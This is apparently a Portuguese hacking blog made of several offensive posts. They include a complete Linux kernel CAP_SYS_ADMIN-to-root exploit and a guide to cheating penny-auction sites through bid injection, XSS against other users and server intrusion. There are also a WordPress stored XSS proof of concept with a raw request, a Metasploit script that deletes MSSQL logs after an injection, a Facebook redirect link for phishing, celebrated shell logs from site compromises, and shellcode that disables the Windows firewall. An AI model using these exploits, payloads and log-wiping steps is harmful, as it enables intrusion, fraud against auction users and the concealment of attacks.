Assinatura RSS

Full disclosure: Ubuntu r00t

Publicado em

Ganho de privilegios root em Ubuntu

Kernel version: 2.6.34 kernel ou superior


/*
 * Linux Kernel CAP_SYS_ADMIN to root exploit
 * by Dan Rosenberg
 * @djrbliss on twitter
 *
 * Usage:
 * gcc -w caps-to-root.c -o caps-to-root
 * sudo setcap cap_sys_admin+ep caps-to-root
 * ./caps-to-root
 *
 * This exploit is NOT stable:
 *
 *  * It only works on 32-bit x86 machines
 *
 *  * It only works on >= 2.6.34 kernels (it could probably be ported back, but
 *    it involves winning a race condition)
 *
 *  * It requires symbol support for symbols that aren't included by default in
 *    several distributions
 *
 *  * It requires the Phonet protocol, which may not be compiled on some
 *    distributions
 *
 *  * You may experience problems on multi-CPU systems
 *
 * It has been tested on a stock Ubuntu 10.10 installation.  I wouldn't be
 * surprised if it doesn't work on other distributions.
 *
 * ----
 *
 * Lately there's been a lot of talk about how a large subset of Linux
 * capabilities are equivalent to root.  CAP_SYS_ADMIN is a catch-all
 * capability that, among other things, allows mounting filesystems and
 * injecting commands into an administrator's shell - in other words, it
 * trivially allows you to get root.  However, I found another way to get root
 * from CAP_SYS_ADMIN...the hard way.
 *
 * This exploit leverages a signedness error in the Phonet protocol.  By
 * specifying a negative protocol index, I can craft a series of fake
 * structures in userspace and cause the incrementing of an arbitrary kernel
 * address, which I then leverage to execute arbitrary kernel code.
 *
 * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth,
 * and bla.
 *
 */

#include <stdio.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <linux/capability.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int getroot(void)
{

 commit_creds(prepare_kernel_cred(0));
 return 0;

}

int konami(void)
{

 /* Konami code! */
 asm("inc %edx;"        /* UP */
 "inc %edx;"        /* UP */
 "dec %edx;"        /* DOWN */
 "dec %edx;"        /* DOWN */
 "shl %edx;"        /* LEFT */
 "shr %edx;"        /* RIGHT */
 "shl %edx;"        /* LEFT */
 "shr %edx;"        /* RIGHT */
 "push %ebx;"    /* B */
 "pop %ebx;"
 "push %eax;"    /* A */
 "pop %eax;"
 "mov $getroot, %ebx;"
 "call *%ebx;");    /* START */

 return 0;
}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
 FILE *f;
 unsigned long addr;
 char dummy;
 char sname[512];
 struct utsname ver;
 int ret;
 int rep = 0;
 int oldstyle = 0;

 f = fopen("/proc/kallsyms", "r");
 if (f == NULL) {
 f = fopen("/proc/ksyms", "r");
 if (f == NULL)
 return 0;
 oldstyle = 1;
 }

 while(ret != EOF) {
 if (!oldstyle)
 ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
 else {
 ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
 if (ret == 2) {
 char *p;
 if (strstr(sname, "_O/") || strstr(sname, "_S."))
 continue;
 p = strrchr(sname, '_');
 if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
 p = p - 4;
 while (p > (char *)sname && *(p - 1) == '_')
 p--;
 *p = '\0';
 }
 }
 }
 if (ret == 0) {
 fscanf(f, "%s\n", sname);
 continue;
 }
 if (!strcmp(name, sname)) {
 fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
 fclose(f);
 return addr;
 }
 }

 fclose(f);
 return 0;
}

int main(int argc, char * argv[])
{

 int sock, proto, i, offset = -1;
 unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
 void * map;

 /* Create a socket to load the module for symbol support */
 printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
 sock = socket(PF_PHONET, SOCK_DGRAM, 0);

 if(sock < 0) {
 if(errno == EPERM)
 printf("[*] You don't have CAP_SYS_ADMIN.\n");

 else
 printf("[*] Failed to open Phonet socket.\n");

 return -1;
 }

 /* Resolve kernel symbols */
 printf("[*] Resolving kernel symbols...\n");

 proto_tab = get_kernel_sym("proto_tab");
 pn_ops = get_kernel_sym("phonet_dgram_ops");
 pn_ioctl = get_kernel_sym("pn_socket_ioctl");
 commit_creds = get_kernel_sym("commit_creds");
 prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");

 if(!proto_tab || !commit_creds || !prepare_kernel_cred ||
 !pn_ops || !pn_ioctl) {
 printf("[*] Failed to resolve kernel symbols.\n");
 return -1;
 }

 /* Thanks bla, for reminding me how to do basic math */
 landing = 0x20000000;
 proto = 1 << 31 | (landing - proto_tab) >> 2;

 /* Map it */
 printf("[*] Preparing fake structures...\n");

 map = mmap((void *)landing, 0x10000,
 PROT_READ | PROT_WRITE | PROT_EXEC,
 MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);

 if(map == MAP_FAILED) {
 printf("[*] Failed to map landing area.\n");
 return -1;
 }

 /* Pointer to phonet_protocol struct */
 ptr = (unsigned long *)landing;
 ptr[0] = &ptr[1];

 /* phonet_protocol struct */
 for(i = 1; i < 4; i++)
 ptr[i] = &ptr[4];

 /* proto struct */
 for(i = 4; i < 204; i++)
 ptr[i] = &ptr[204];

 /* First, do a test run to calculate any offsets */
 target = 0x30000000;

 /* module struct */
 for(i = 204; i < 404; i++)
 ptr[i] = target;

 /* Map it */
 map = mmap((void *)0x30000000, 0x2000000,
 PROT_READ | PROT_WRITE | PROT_EXEC,
 MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);

 if(map == MAP_FAILED) {
 printf("[*] Failed to map landing area.\n");
 return -1;
 }

 printf("[*] Calculating offsets...\n");

 socket(PF_PHONET, SOCK_DGRAM, proto);

 ptr = 0x30000000;
 for(i = 0; i < 0x800000; i++) {
 if(ptr[i] != 0) {
 offset = i * sizeof(void *);
 break;
 }
 }

 if(offset == -1) {
 printf("[*] Test run failed.\n");
 return -1;
 }

 /* MSB of pn_ioctl */
 target = pn_ops + 10 * sizeof(void *) - 1 - offset;

 /* Re-fill the module struct */
 ptr = (unsigned long *)landing;
 for(i = 204; i < 404; i++)
 ptr[i] = target;

 /* Push pn_ioctl fptr into userspace */
 printf("[*] Modifying function pointer...\n");

 landing = pn_ioctl;
 while((landing & 0xff000000) != 0x10000000) {
 socket(PF_PHONET, SOCK_DGRAM, proto);
 landing += 0x01000000;
 }

 /* Map it */
 map = mmap((void *)(landing & ~0xfff), 0x10000,
 PROT_READ | PROT_WRITE | PROT_EXEC,
 MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);

 if(map == MAP_FAILED) {
 printf("[*] Failed to map payload area.\n");
 return -1;
 }

 /* Copy payload */
 memcpy((void *)landing, &konami, 1024);

 printf("[*] Executing Konami code at ring0...\n");
 ioctl(sock, 0, NULL);

 if(getuid()) {
 printf("[*] Exploit failed to get root.\n");
 return -1;
 }

 printf("[*] Konami code worked!  Have a root shell.\n");
 execl("/bin/sh", "/bin/sh", NULL);

}

Metodologias para “burlar” leilões online

Publicado em

“Atacai-o onde não estiver preparado. Executai as vossas investidas somente quando não vos esperar.”

Sun Tzu – A arte da guerra

############################################

#####    ESTE PAPER TEM FINS EDUCACIONAIS    #######

############################################

Creio que você que está lendo este post já conhece essa nova febre da internet: leilões online.

Muitos sites como http://www.showdecentavos.com.br, http://www.olhonoclick.com.br, http://www.martela.com.br entre outros, desenvolveram uma espécie de leilão dos centavos.

Esses sites usam o seguinte modo de lucro:

Você ótario compra créditos para dar lances, que na maioria dos casos custa R$1,00 cada lance e dada a respectiva martelada, o produto desejado aumenta R$0,01 e no final geralmente o arrematador leva o produto por alguns reais+frete, preço muito muito baixo em relação o de mercado.

Mas nessa brincadeira o site de leilão obtem um lucro de extraordinario.

Ex: Alguém arremata um câmera digital por R$30,00 que legal, né?

Legal, mas  não para você! O “legal” fica para o site que na verdade ganhou R$3000,00 por uma câmera digital (Preço arrematado X Nº de marteladas à custo de R$1,00), obtendo assim um lucro de mais 800%.

Nesse paper eu irei mostrar algumas técnicas que irá ajudar vc otário bular esses sistemas afim de arrematar alguns produtos.

Mas prepare-se! Deverá investir para ganhar.

HORÁRIO PARA A BATALHA:

Qual o horário que número numero de internautas(odeio esse nome) cai? dãã

Claro que será na madrugada, se for numa madrugada de segunda para domingo melhor ainda, por motivos óbvios, claro.

PREPARANDO OS LANCES:

Como muitos sistemas não tem tempo definido para finalizar os leilões, vamos tentar nos basear nos preços de cada produto, vamos tentar usar algum tipo de padrão nos preços, para podermos fazer um lance a partir desse padrão, sem gastar muito dinheiro. A identificação dos padrões consiste:

  • Fazer uma média aritmética de cada produto, e a partir dela vamos fazer as sequências de lances constantemente.

Exemplo:

Notebooks:

PA: Preço arrematado

PM: Preço de mercado

——————————–

PA                           PM

R$ 16,05 — R$ 1.299,00

R$ 32,38 — R$ 1.499,00

R$ 29,15 — R$ 1.249,90

R$ 65,82 — R$ 1.199,00

———————————

Fazendo uma média aritmética* entre os preços arrematados(PA) obtemos um valor de R$ 35,85. Mas lembrando que esse preço não será religiosamente o de arremate, usaremos esse valor como ponteiro para nossos lances.

*média aritmética

Vamos utilizar o seguinte sistema de lance http://www.showdecentavos.com.br como exemplificação.

Estratégia 1 – AutoClick

Eu escrevi uma algoritmo em C com ajuda da biblioteca windows.h para podermos fazer os lances sem esquentar a cabeça e dar LER na mão.


#include <stdio.h>
#include <windows.h>

/*

=================Auto click====================
Autor: Spectrum_Bill
Site: https://unauthorizedaccess.wordpress.com
===============================================
*/

int getnum(int *result)
{
 char buff [ 13 ];
 return fgets(buff, sizeof buff, stdin) && sscanf(buff, "%d", result) == 1;
}

int main()
{

 printf("\n-> Numero de clicks: ");
 int clicks;
 do getnum(&clicks);
 while(!clicks);

 printf("\n-> Delay entre os clicks: ");
 int sleep;
 getnum(&sleep);

 printf("\n-> Pressione ENTER para começar...");
 int charr;
 charr=fgetc(stdin);
 printf("\n-> Clicks: %d ; Delay: %d", clicks, sleep);
 printf("\n-> Vc tem 5 segundos para colocar o curso no botao!\n");

 Sleep(5000);
 int i;
 for(i=0; i<clicks; i++)
 {
 mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 1, 1, 1, 1);
 if(sleep)
 Sleep(sleep);
 }
 printf("-> Clicks finalizados.\n\n");
 charr=fgetc(stdin);
 return 0;
}

Recomendo usar o dobro “fichas de lance” no número de click. E set 1000 ou 500 msegundos no delay.

Compile e entre com os parâmetros pedidos e coloque a seta do mouse em cima do botão de lance( Você tem 5 segundos!). Lembrando você não terá sucesso em todas as requisições, mas  consiguirá em sua grande maioria.

Estratégia 2 – Javascript Injection

Tem a mesma essência do método acima mas deste modo vc poderá injetar um javascript no próprio browser e com isso você poderá fazer varias requisições de lances.


javascript:function martelada(){href.bidnow(IDProduto,SeuID);}void(setInterval(martelada,500));

Modifique os parametros “bidnow(IDProduto,SeuID)”

Tempo em milisegundo, recomendo 500 por default “setInterval(martelada,500)”

Você poderá encontrar esses dados no próprio link de lance.


Estratégia 3 – Martelada Stealing via XSS

Essa estratégia, como o próprio título já diz, só poderá ser aplicada somente com a identificação de uma vulnerabilidade Cross-site scripting(XSS) onde você deverá implementar comandos arbitrários onde serão executados lances com seu ID, com a execução dos mesmos por outros usuários do sistema, sem seu consentimento, é claro.

Mas como fazer os outros usuários executaram os tais “XSS”?

Muitos sistemas de blog fazem o uso de ferramentas de divulgação de seu serviço como o Twitter e Facebook.  Alguém mal intencionado poderia fazer fácil fácil SPAMS contendo tais comandos arbitrários.

Estratégia 4 – Modo h4x0r 1337

Esse modo é ao meu vê o primeiro a ser tentado, já que algumas estratégias acima é seu dependente, em parte. Alguém deverá explorar identificar e vulnerabilidades no servidor do site com o intuito de conseguir acesso root ao bando de dados. O atacante deverá se tornar “invisível”, ele deverá apagar todos os logs de suas ações. Ele terá que migrar no banco de dados do servidor e mudar dados como trocar UsuarioIDs de produtos arrematados. Isso dependerá somente de suas habilidades.

Possíveis Soluções

  • Uso de  Tokens
  • Filtrar tudo “vem de fora”

Leitura recomendada: Sete Hábitos para Escrever Aplicativos PHP Seguros

Ainda tenho uma ideia que futuramente pretendo testar, ainda não postarei pq envolve uma linguagem de programação que ainda estou estudando, se der certo postei nesse mesmo post.

É isso aí!

Abraços!

Wordpress 3.0.3 Stored XSS

Publicado em

Software: wordpress.org

Versão: 3.0.3

Browsers afetados: IE7,6 NS8.1

Autor: Saif

Xss na pagina de post usando estilo CSS

Poc: Postagem com "<IMG STYLE="xss:expression(alert('XSS'))">"

Ou vc pode usar raw request pra implantar o parâmetro com o XSS


POST /wordpress/wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15)
Gecko/2009102814 Ubuntu/8.10 (intrepid) Firefox/3.0.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer:
http://127.0.0.1/wordpress/wp-admin/post.php?post=145&action=edit&message=1
Cookie:
wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=xss%7C1293636697%7C17562b2ebe444d17730a2bbee6ceba99;
wp-settings-time-1=1293196695; wp-settings-time-2=1293197912;
wp-settings-1=m3%3Dc%26editor%3Dhtml; wp-settings-2=editor%3Dhtml%26m5%3Do;
wp-settings-time-3=1293462654; wp-settings-3=editor%3Dhtml;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=xss%7C1293636697%7C7437e30b3242f455911b2b60daf35e48;
PHPSESSID=a1e7d9fcce3d072b31162c4acbbf1c37;
kaibb4443=80bdb2bb6b0274393cdd1e47a67eabbd;
AEFCookies2525[aefsid]=kmxp4rfme1af9edeqlsvtfatf4rvu9aq
Content-Type: application/x-www-form-urlencoded
Content-Length: 1655

_wpnonce=aad1243dc1&_wp_http_referer=/wordpress/wp-admin/post.php?post=145&action=edit&message=1&user_ID=3&action=editpost&originalaction=editpost&post_author=3&post_type=post&original_post_status=publish&referredby=http://127.0.0.1/wordpress/wp-admin/post.php?post=145&action=edit&message=1&_wp_original_http_referer=http://127.0.0.1/wordpress/wp-admin/post.php?post=145&action=edit&message=1&post_ID=145&autosavenonce=e35a537141&meta-box-order-nonce=718e35f130&closedpostboxesnonce=0203f58029&wp-preview=&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=12&jj=27&aa=2010&hh=15&mn=31&ss=55&hidden_mm=12&cur_mm=12&hidden_jj=27&cur_jj=27&hidden_aa=2010&cur_aa=2010&hidden_hh=15&cur_hh=16&hidden_mn=31&cur_mn=02&original_publish=Update&save=Update&post_category[]=0&post_category[]=1&tax_input[post_tag]=&newtag[post_tag]=&post_title=&samplepermalinknonce=ffcbf222eb&content=<IMG+STYLE="xss:expression(alert('XSS'))">&excerpt=&trackback_url=&meta[108][key]=_edit_last&_ajax_nonce=257f6f6ad9&meta[108][value]=3&meta[111][key]=_edit_lock&_ajax_nonce=257f6f6ad9&meta[111][value]=1293465765&meta[116][key]=_encloseme&_ajax_nonce=257f6f6ad9&meta[116][value]=1&meta[110][key]=_wp_old_slug&_ajax_nonce=257f6f6ad9&meta[110][value]=&metakeyselect=#NONE#&metakeyinput=&metavalue=&_ajax_nonce-add-meta=61de41e725&advanced_view=1&comment_status=open&ping_status=open&add_comment_nonce=c32341570f&post_name=145

MSSQL Log Clear

Publicado em

Um script em Ruby para apagar logs apos uma injeção em DB’s MSSQL.

Recomendo usar com metasploit.

Autor: ZERO COLD


 def list_exec(session,cmdlst)
 print_status("Running Command List ...")
 r=''
 session.response_timeout=120
 cmdlst.each do |cmd|
 begin
 print_status "running command #{cmd}"
 r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
 while(d = r.channel.read)

 print_status("#{d}")
 end
 r.channel.close
 r.close
 rescue ::Exception => e
 print_error("Error Running Command #{cmd}: #{e.class} #{e}")
 end
 end
 end

 commands = ['Net STOP "SQL Server (SQLEXPRESS)" ',
 'del "C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\ERRORLOG.*"',
 'del "C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\log*.trc"',
 'Net START "SQL Server (SQLEXPRESS)"']

 list_exec(client,commands)


Facebook Link Redirect

Publicado em

 

Servidor: http://www.facebook.com

Risco: baixo

Autor: SpecTrum_Bill

Faz um bypass no protetor de link do facebook, possibilitando algum tipo de ataque de phishing.

PoC: http://www.facebook.com/l.php?u=https://unauthorizedaccess.wordpress.com&h=5a3db

Merry Christmas! Exploit-DB e backtrack-linux.org Owned

Publicado em

Os caras do underground jamais dormem, jamais comemoram natal!

Ataques por 1337 e inj3ct0r Team.

Seguem os logs:

Target: Exploit-DB(Offensive Security): http://pastebin.com/8giRpfPE

$ uname -a
Linux www 2.6.32-25-server #45-Ubuntu SMP Sat Oct 16 20:06:58 UTC 2010 x86_64 GNU/Linux

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ pwd
/var/www

$ ls -la
total 24180
drwxr-xr-x 18 www-data www-data     4096 Nov 26 10:16 .
drwxr-xr-x 19 root     root         4096 Sep 24 09:26 ..
-rw-r--r--  1 www-data www-data     1005 Nov 12 19:03 .htaccess
-rw-r--r--  1 www-data www-data      764 Nov  5 17:32 .htaccess.save
-rw-r--r--  1 www-data www-data  2820676 Nov 15 14:26 1920x1200_edb-wallpaper.png
drwxr-xr-x  4 www-data www-data     4096 Nov 11 07:43 92384723987239847239847234982734
-rw-r--r--  1 www-data www-data    46149 Nov 11 17:04 apc123456.php
-rw-r--r--  1 www-data www-data 10723590 Nov 28 06:52 archive.tar.bz2
-rw-r--r--  1 www-data www-data    18851 Jul  9 14:42 disclosure.html

[...]

Target: Backtrack-linux: http://pastebin.com/vxcaC9Nb

$ uname -a
Linux backtrack-linux.org 2.6.32.26-175.fc12.x86_64 #1 SMP Wed Dec 1 21:39:34 UTC 2010 x86_64 x86_64 x86_64 GNU/Linux

$ id
uid=48(apache) gid=494(apache) groups=494(apache) context=unconfined_u:system_r:httpd_t:s0

$ alias ls="ls -la"

$ ls
total 110
dr-xr-xr-x.  25 root root  4096 Dec  7 08:42 .
dr-xr-xr-x.  25 root root  4096 Dec  7 08:42 ..
-rw-r--r--.   1 root root     0 Dec  7 08:42 .autofsck
drwx------.   2 root root  4096 Dec 10 03:40 backup
dr-xr-xr-x.   2 root root  4096 Nov 29 19:59 bin
dr-xr-xr-x.   5 root root  1024 Dec  7 08:41 boot
drwxr-xr-x.  17 root root  3580 Dec  7 08:43 dev
drwxr-xr-x.  66 root root  4096 Dec  7 08:42 etc
drwxr-xr-x.   3 root root  4096 Aug 14 20:50 home
dr-xr-xr-x.   9 root root  4096 Aug 11 04:01 lib
dr-xr-xr-x.   9 root root 12288 Nov 29 20:00 lib64
drwx------.   2 root root 16384 Aug 11 02:01 lost+found
drwxr-xr-x.   2 root root  4096 Aug 11 04:42 maint
drwxr-xr-x.   2 root root  4096 Aug 25  2009 media
drwxr-xr-x.   2 root root  4096 Aug 25  2009 mnt
drwxr-xr-x.   2 root root  4096 Aug 25  2009 opt

[...]

Um feliz natal a todos! ;*

Shellcode: Killing Firewall Windows

Publicado em

Essa shellcode mata o firewall do windows

Testado em: win32 SP2 e 3


#include <stdio.h>

char code[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c"
              "\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x73"
              "\x68\x20\x66\x69\x72\x65\x77\x61\x6c\x6c\x20\x73\x65\x74\x20\x6f\x70\x6d\x6f\x64\x65\x20"
              "\x64\x69\x73\x61\x62\x6c\x65\x00";

int main(int argc, char **argv)
{
    int (*func)();
    func = (int (*)()) code;
    (int)(*func)();
}

Decoded:


cmd.exe /c netsh firewall set opmode disable

Inject payload! ;*